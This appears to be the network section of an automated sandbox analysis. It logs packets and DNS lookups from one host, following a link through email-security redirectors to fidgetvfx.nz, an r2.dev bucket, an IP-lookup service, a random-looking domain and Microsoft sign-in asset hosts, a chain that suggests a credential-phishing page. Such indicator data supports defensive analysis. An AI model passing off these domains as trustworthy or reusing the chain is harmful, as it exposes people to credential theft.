Oct 7, 2024 21:00:16.041337967 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.041532993 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.042355061 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.042469978 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.042479992 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.042536020 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.094296932 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.094316959 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.141231060 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.158021927 CEST	443	49837	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:16.158423901 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:16.158463955 CEST	443	49837	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:16.159987926 CEST	443	49837	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:16.160329103 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:16.160330057 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:16.160434008 CEST	443	49837	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:16.160487890 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:16.203432083 CEST	443	49837	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:16.203499079 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:16.203561068 CEST	443	49837	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:16.254440069 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:16.311451912 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.311521053 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.311547041 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.311568975 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.311593056 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.311604023 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.311638117 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.311665058 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.312083960 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.312187910 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.312221050 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.312236071 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.312275887 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.316523075 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.316546917 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.316622972 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.316643953 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.316699982 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.393634081 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.393712997 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.393737078 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.393763065 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.393770933 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.393785954 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.393830061 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.394160032 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.394186974 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.394218922 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.394220114 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.394234896 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.394287109 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.394288063 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.394378901 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.394519091 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.394520044 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.394548893 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.394700050 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.940267086 CEST	443	49837	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:16.940582037 CEST	443	49837	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:16.940663099 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:16.940992117 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:16.941032887 CEST	443	49837	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:16.941129923 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:16.941153049 CEST	49837	443	192.168.2.16	203.28.49.249

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 20:58:37.155155897 CEST	53	57945	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:37.156116009 CEST	55620	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:37.156316042 CEST	62570	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:37.173151970 CEST	53	63259	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:37.176425934 CEST	53	55620	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:37.190881014 CEST	53	62570	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:38.098850965 CEST	53	51833	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:41.019145012 CEST	57223	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:41.019272089 CEST	54664	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:41.045852900 CEST	53	54664	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:41.108213902 CEST	53	57223	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:42.022322893 CEST	59175	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:42.022422075 CEST	61674	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:42.029695034 CEST	53	59175	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:42.030122042 CEST	53	61674	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:42.581234932 CEST	62951	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:42.581361055 CEST	60863	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:43.698478937 CEST	57684	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:43.698479891 CEST	61255	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:43.705391884 CEST	53	61255	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:43.705421925 CEST	53	57684	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:45.650358915 CEST	65388	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:45.650464058 CEST	62120	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:45.696418047 CEST	53	65388	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:46.246843100 CEST	53	62120	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:50.478674889 CEST	57330	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:50.478674889 CEST	65412	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:50.497659922 CEST	57243	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:50.497659922 CEST	55613	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:58:50.499126911 CEST	53	65412	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:50.499577045 CEST	53	57330	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:50.508099079 CEST	53	55613	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:50.508138895 CEST	53	57243	1.1.1.1	192.168.2.16
Oct 7, 2024 20:58:55.166635990 CEST	53	50468	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:02.877321005 CEST	60731	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:02.877321005 CEST	60579	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:02.877321005 CEST	64038	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:02.877321005 CEST	53834	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:02.884866953 CEST	53	60579	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:02.884890079 CEST	53	64038	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:02.884912014 CEST	53	53834	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:02.885930061 CEST	137	137	192.168.2.16	192.168.2.255
Oct 7, 2024 20:59:02.885991096 CEST	53	60731	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:03.637192965 CEST	137	137	192.168.2.16	192.168.2.255
Oct 7, 2024 20:59:03.642262936 CEST	55695	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:03.642457962 CEST	59903	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:03.649447918 CEST	53	59903	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:03.649840117 CEST	53	55695	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:03.771658897 CEST	60683	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:03.771840096 CEST	53047	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:03.778937101 CEST	53	53047	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:03.779066086 CEST	53	60683	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:03.895917892 CEST	59375	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:03.896682024 CEST	64877	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:03.907327890 CEST	53	64877	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:03.908185005 CEST	53	59375	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:04.402151108 CEST	137	137	192.168.2.16	192.168.2.255
Oct 7, 2024 20:59:05.051481962 CEST	59250	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:05.051482916 CEST	57228	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:05.052017927 CEST	56721	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:05.052114964 CEST	62156	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:05.059539080 CEST	53	59250	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:05.060913086 CEST	53	57228	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:05.069811106 CEST	53	62156	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:05.077858925 CEST	53	56721	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:08.106437922 CEST	58439	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:08.106590033 CEST	61104	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:08.114955902 CEST	53	58439	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:08.121604919 CEST	53	61104	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:08.149293900 CEST	64004	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:08.149393082 CEST	54300	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:08.157428980 CEST	53	64004	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:08.158051968 CEST	53	54300	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:08.261492968 CEST	53	52264	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:08.957163095 CEST	64478	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:08.957401037 CEST	62961	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:08.964370966 CEST	53	62961	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:08.964801073 CEST	53	64478	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:09.240084887 CEST	57479	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:09.240314007 CEST	57426	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:09.247188091 CEST	53	57479	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:09.249077082 CEST	53	57426	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:09.884876013 CEST	51401	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:09.885061026 CEST	58393	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:09.891908884 CEST	53	58393	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:09.892134905 CEST	53	51401	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:09.940879107 CEST	50882	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:09.940974951 CEST	53329	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:11.227850914 CEST	138	138	192.168.2.16	192.168.2.255
Oct 7, 2024 20:59:11.611244917 CEST	59003	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:11.611439943 CEST	58414	53	192.168.2.16	1.1.1.1
Oct 7, 2024 20:59:13.851115942 CEST	53	54089	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:32.615272999 CEST	53	56261	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:36.546000957 CEST	53	58354	1.1.1.1	192.168.2.16
Oct 7, 2024 20:59:37.154325962 CEST	53	56862	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:05.055768967 CEST	61551	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:05.055948973 CEST	65499	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:05.065289974 CEST	53	57934	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:05.070693970 CEST	53	53110	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:05.077122927 CEST	53	65499	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:05.080673933 CEST	53	61551	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:06.624196053 CEST	53	51335	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:06.962806940 CEST	54333	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:06.963021040 CEST	57177	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:06.982302904 CEST	53	57177	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:06.994019032 CEST	53	54333	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:08.359568119 CEST	54143	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:08.359750032 CEST	63536	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:09.357011080 CEST	64565	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:09.357199907 CEST	49421	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:09.364239931 CEST	53	64565	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:09.365854979 CEST	53	49421	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:09.852232933 CEST	50898	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:09.852349043 CEST	63870	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:10.500909090 CEST	53	50898	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:10.500941038 CEST	53	63870	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:11.755220890 CEST	54568	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:11.755373001 CEST	49499	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:12.081111908 CEST	53	54568	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:12.081738949 CEST	53	49499	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:15.254982948 CEST	59296	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:15.255112886 CEST	59466	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:15.306277037 CEST	53	59466	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:15.308382988 CEST	53	59296	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:15.518785954 CEST	61249	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:15.518903017 CEST	64837	53	192.168.2.16	1.1.1.1
Oct 7, 2024 21:00:15.527960062 CEST	53	61249	1.1.1.1	192.168.2.16
Oct 7, 2024 21:00:15.529375076 CEST	53	64837	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 7, 2024 20:58:37.191087961 CEST	192.168.2.16	1.1.1.1	c27c	(Port unreachable)	Destination Unreachable
Oct 7, 2024 20:58:46.247092962 CEST	192.168.2.16	1.1.1.1	c23c	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 20:58:37.156116009 CEST	192.168.2.16	1.1.1.1	0xfcc0	Standard query (0)	nam04.safelinks.protection.outlook.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:37.156316042 CEST	192.168.2.16	1.1.1.1	0x93a7	Standard query (0)	nam04.safelinks.protection.outlook.com	65	IN (0x0001)	false
Oct 7, 2024 20:58:41.019145012 CEST	192.168.2.16	1.1.1.1	0xcc34	Standard query (0)	url.avanan.click	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:41.019272089 CEST	192.168.2.16	1.1.1.1	0xadf9	Standard query (0)	url.avanan.click	65	IN (0x0001)	false
Oct 7, 2024 20:58:42.022322893 CEST	192.168.2.16	1.1.1.1	0x35fc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:42.022422075 CEST	192.168.2.16	1.1.1.1	0x7	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 7, 2024 20:58:42.581234932 CEST	192.168.2.16	1.1.1.1	0x63c0	Standard query (0)	www.tiktok.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:42.581361055 CEST	192.168.2.16	1.1.1.1	0x1c70	Standard query (0)	www.tiktok.com	65	IN (0x0001)	false
Oct 7, 2024 20:58:43.698478937 CEST	192.168.2.16	1.1.1.1	0x6dce	Standard query (0)	www.google.ca	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:43.698479891 CEST	192.168.2.16	1.1.1.1	0x82d1	Standard query (0)	www.google.ca	65	IN (0x0001)	false
Oct 7, 2024 20:58:45.650358915 CEST	192.168.2.16	1.1.1.1	0xafe2	Standard query (0)	fidgetvfx.nz	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:45.650464058 CEST	192.168.2.16	1.1.1.1	0x975a	Standard query (0)	fidgetvfx.nz	65	IN (0x0001)	false
Oct 7, 2024 20:58:50.478674889 CEST	192.168.2.16	1.1.1.1	0x1d56	Standard query (0)	fidgetvfx.nz	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:50.478674889 CEST	192.168.2.16	1.1.1.1	0x1c14	Standard query (0)	fidgetvfx.nz	65	IN (0x0001)	false
Oct 7, 2024 20:58:50.497659922 CEST	192.168.2.16	1.1.1.1	0xeaa7	Standard query (0)	pub-80685e4418f74026adc8912a5ab063db.r2.dev	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:50.497659922 CEST	192.168.2.16	1.1.1.1	0x7351	Standard query (0)	pub-80685e4418f74026adc8912a5ab063db.r2.dev	65	IN (0x0001)	false
Oct 7, 2024 20:59:02.877321005 CEST	192.168.2.16	1.1.1.1	0x12d3	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:02.877321005 CEST	192.168.2.16	1.1.1.1	0x3e96	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 20:59:02.877321005 CEST	192.168.2.16	1.1.1.1	0xca75	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:02.877321005 CEST	192.168.2.16	1.1.1.1	0xd3db	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 7, 2024 20:59:03.642262936 CEST	192.168.2.16	1.1.1.1	0xa271	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:03.642457962 CEST	192.168.2.16	1.1.1.1	0x297e	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 7, 2024 20:59:03.771658897 CEST	192.168.2.16	1.1.1.1	0xc01f	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:03.771840096 CEST	192.168.2.16	1.1.1.1	0xd972	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 20:59:03.895917892 CEST	192.168.2.16	1.1.1.1	0x8be7	Standard query (0)	freeipapi.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:03.896682024 CEST	192.168.2.16	1.1.1.1	0xd7a	Standard query (0)	freeipapi.com	65	IN (0x0001)	false
Oct 7, 2024 20:59:05.051481962 CEST	192.168.2.16	1.1.1.1	0x3bcf	Standard query (0)	freeipapi.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:05.051482916 CEST	192.168.2.16	1.1.1.1	0xd5fe	Standard query (0)	freeipapi.com	65	IN (0x0001)	false
Oct 7, 2024 20:59:05.052017927 CEST	192.168.2.16	1.1.1.1	0xbad4	Standard query (0)	w2yf5cltgv.tkllop.online	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:05.052114964 CEST	192.168.2.16	1.1.1.1	0xa0c4	Standard query (0)	w2yf5cltgv.tkllop.online	65	IN (0x0001)	false
Oct 7, 2024 20:59:08.106437922 CEST	192.168.2.16	1.1.1.1	0x85ef	Standard query (0)	w2yf5cltgv.tkllop.online	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:08.106590033 CEST	192.168.2.16	1.1.1.1	0x5f27	Standard query (0)	w2yf5cltgv.tkllop.online	65	IN (0x0001)	false
Oct 7, 2024 20:59:08.149293900 CEST	192.168.2.16	1.1.1.1	0xc09a	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:08.149393082 CEST	192.168.2.16	1.1.1.1	0xf799	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 7, 2024 20:59:08.957163095 CEST	192.168.2.16	1.1.1.1	0x4e16	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:08.957401037 CEST	192.168.2.16	1.1.1.1	0xd583	Standard query (0)	google.com	65	IN (0x0001)	false
Oct 7, 2024 20:59:09.240084887 CEST	192.168.2.16	1.1.1.1	0xea3a	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:09.240314007 CEST	192.168.2.16	1.1.1.1	0x973c	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 7, 2024 20:59:09.884876013 CEST	192.168.2.16	1.1.1.1	0xc905	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:09.885061026 CEST	192.168.2.16	1.1.1.1	0x7270	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 7, 2024 20:59:09.940879107 CEST	192.168.2.16	1.1.1.1	0x1202	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:09.940974951 CEST	192.168.2.16	1.1.1.1	0xdc7b	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false
Oct 7, 2024 20:59:11.611244917 CEST	192.168.2.16	1.1.1.1	0xf56d	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:59:11.611439943 CEST	192.168.2.16	1.1.1.1	0xa9c4	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false
Oct 7, 2024 21:00:05.055768967 CEST	192.168.2.16	1.1.1.1	0xad4b	Standard query (0)	nam04.safelinks.protection.outlook.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:05.055948973 CEST	192.168.2.16	1.1.1.1	0x8360	Standard query (0)	nam04.safelinks.protection.outlook.com	65	IN (0x0001)	false
Oct 7, 2024 21:00:06.962806940 CEST	192.168.2.16	1.1.1.1	0x921e	Standard query (0)	url.avanan.click	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:06.963021040 CEST	192.168.2.16	1.1.1.1	0xee7e	Standard query (0)	url.avanan.click	65	IN (0x0001)	false
Oct 7, 2024 21:00:08.359568119 CEST	192.168.2.16	1.1.1.1	0x2886	Standard query (0)	www.tiktok.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:08.359750032 CEST	192.168.2.16	1.1.1.1	0x7585	Standard query (0)	www.tiktok.com	65	IN (0x0001)	false
Oct 7, 2024 21:00:09.357011080 CEST	192.168.2.16	1.1.1.1	0x86fe	Standard query (0)	www.google.ca	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:09.357199907 CEST	192.168.2.16	1.1.1.1	0x11dd	Standard query (0)	www.google.ca	65	IN (0x0001)	false
Oct 7, 2024 21:00:09.852232933 CEST	192.168.2.16	1.1.1.1	0x2b91	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:09.852349043 CEST	192.168.2.16	1.1.1.1	0xceec	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 7, 2024 21:00:11.755220890 CEST	192.168.2.16	1.1.1.1	0xa0af	Standard query (0)	fidgetvfx.nz	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:11.755373001 CEST	192.168.2.16	1.1.1.1	0x638a	Standard query (0)	fidgetvfx.nz	65	IN (0x0001)	false
Oct 7, 2024 21:00:15.254982948 CEST	192.168.2.16	1.1.1.1	0xb4b7	Standard query (0)	fidgetvfx.nz	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:15.255112886 CEST	192.168.2.16	1.1.1.1	0x186e	Standard query (0)	fidgetvfx.nz	65	IN (0x0001)	false
Oct 7, 2024 21:00:15.518785954 CEST	192.168.2.16	1.1.1.1	0x1219	Standard query (0)	pub-80685e4418f74026adc8912a5ab063db.r2.dev	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:00:15.518903017 CEST	192.168.2.16	1.1.1.1	0x7ab5	Standard query (0)	pub-80685e4418f74026adc8912a5ab063db.r2.dev	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 20:58:37.176425934 CEST	1.1.1.1	192.168.2.16	0xfcc0	No error (0)	nam04.safelinks.protection.outlook.com	nam04.safelinks.eop-tm2.outlook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:58:37.176425934 CEST	1.1.1.1	192.168.2.16	0xfcc0	No error (0)	nam04.safelinks.eop-tm2.outlook.com		104.47.74.28	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:37.176425934 CEST	1.1.1.1	192.168.2.16	0xfcc0	No error (0)	nam04.safelinks.eop-tm2.outlook.com		104.47.73.156	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:37.176425934 CEST	1.1.1.1	192.168.2.16	0xfcc0	No error (0)	nam04.safelinks.eop-tm2.outlook.com		104.47.73.28	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:37.190881014 CEST	1.1.1.1	192.168.2.16	0x93a7	No error (0)	nam04.safelinks.protection.outlook.com	nam04.safelinks.eop-tm2.outlook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:58:41.045852900 CEST	1.1.1.1	192.168.2.16	0xadf9	No error (0)	url.avanan.click	d3bl0rsvnw97mw.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:58:41.108213902 CEST	1.1.1.1	192.168.2.16	0xcc34	No error (0)	url.avanan.click	d3bl0rsvnw97mw.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 20:58:41.108213902 CEST	1.1.1.1	192.168.2.16	0xcc34	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.156.46.59	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:41.108213902 CEST	1.1.1.1	192.168.2.16	0xcc34	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.156.46.45	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:41.108213902 CEST	1.1.1.1	192.168.2.16	0xcc34	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.156.46.76	A (IP address)	IN (0x0001)	false
Oct 7, 2024 20:58:41.108213902 CEST	1.1.1.1	192.168.2.16	0xcc34	No error (0)	d3bl0rsvnw97mw.cloudfront.net		108.156.46.98	A (IP address)	IN (0x0001)	false
